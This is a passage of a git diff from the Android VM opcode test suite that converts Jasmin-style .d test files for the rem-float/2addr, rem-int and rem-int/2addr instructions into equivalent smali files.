+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2addr_5.java"
+.class  public Ldot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       rem-float/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_6.d
deleted file mode 100644
index 4957893..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_float_2addr_6.java
-.class public dot.junit.opcodes.rem_float_2addr.d.T_rem_float_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)F
-.limit regs 8
-
-       rem-float/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_6.smali
new file mode 100644
index 0000000..bcab601
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2addr_6.java"
+.class  public Ldot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)F
+.registers 8
+
+       rem-float/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_1.d
deleted file mode 100644
index 25a1ec5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_1.java
-.class public dot.junit.opcodes.rem_int.d.T_rem_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       rem-int v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_1.smali
new file mode 100644
index 0000000..be97772
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_1.java"
+.class  public Ldot/junit/opcodes/rem_int/d/T_rem_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       rem-int v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_2.d
deleted file mode 100644
index 1fa948b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_2.java
-.class public dot.junit.opcodes.rem_int.d.T_rem_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       rem-int v0, v7, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_2.smali
new file mode 100644
index 0000000..c07ab68
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2.java"
+.class  public Ldot/junit/opcodes/rem_int/d/T_rem_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       rem-int v0, v7, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_3.d
deleted file mode 100644
index 5db617b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_3.java
-.class public dot.junit.opcodes.rem_int.d.T_rem_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 8
-
-       rem-int v0, v5, v6
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_3.smali
new file mode 100644
index 0000000..f9256f768
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_3.java"
+.class  public Ldot/junit/opcodes/rem_int/d/T_rem_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       rem-int v0, v5, v6
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_4.d
deleted file mode 100644
index 69aeb8d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_4.java
-.class public dot.junit.opcodes.rem_int.d.T_rem_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       rem-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_4.smali
new file mode 100644
index 0000000..8cf6ad5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_4.java"
+.class  public Ldot/junit/opcodes/rem_int/d/T_rem_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       rem-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_5.d
deleted file mode 100644
index d3b2b76..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_5.java
-.class public dot.junit.opcodes.rem_int.d.T_rem_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       rem-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_5.smali
new file mode 100644
index 0000000..ad6d97d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_5.java"
+.class  public Ldot/junit/opcodes/rem_int/d/T_rem_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       rem-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_6.d
deleted file mode 100644
index 032b8ae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_6.java
-.class public dot.junit.opcodes.rem_int.d.T_rem_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)I
-.limit regs 8
-
-       rem-int v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_6.smali
new file mode 100644
index 0000000..1bcfb7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int/d/T_rem_int_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_6.java"
+.class  public Ldot/junit/opcodes/rem_int/d/T_rem_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       rem-int v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_1.d
deleted file mode 100644
index 25a7fca..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_2addr_1.java
-.class public dot.junit.opcodes.rem_int_2addr.d.T_rem_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       rem-int/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_1.smali
new file mode 100644
index 0000000..fcf8b1c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       rem-int/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_2.d
deleted file mode 100644
index 0dee98c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_2addr_2.java
-.class public dot.junit.opcodes.rem_int_2addr.d.T_rem_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       rem-int/2addr v6, v8
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_2.smali
new file mode 100644
index 0000000..c217938
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       rem-int/2addr v6, v8
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_3.d
deleted file mode 100644
index b76a76a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_2addr_3.java
-.class public dot.junit.opcodes.rem_int_2addr.d.T_rem_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 8
-
-       rem-int/2addr v5, v6
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_3.smali
new file mode 100644
index 0000000..c73e27a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       rem-int/2addr v5, v6
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_4.d
deleted file mode 100644
index e3828d6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_2addr_4.java
-.class public dot.junit.opcodes.rem_int_2addr.d.T_rem_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       rem-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_4.smali
new file mode 100644
index 0000000..4b95919
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       rem-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_5.d
deleted file mode 100644
index d684c92..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_2addr_5.java
-.class public dot.junit.opcodes.rem_int_2addr.d.T_rem_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       rem-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_5.smali
new file mode 100644
index 0000000..dec94e5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
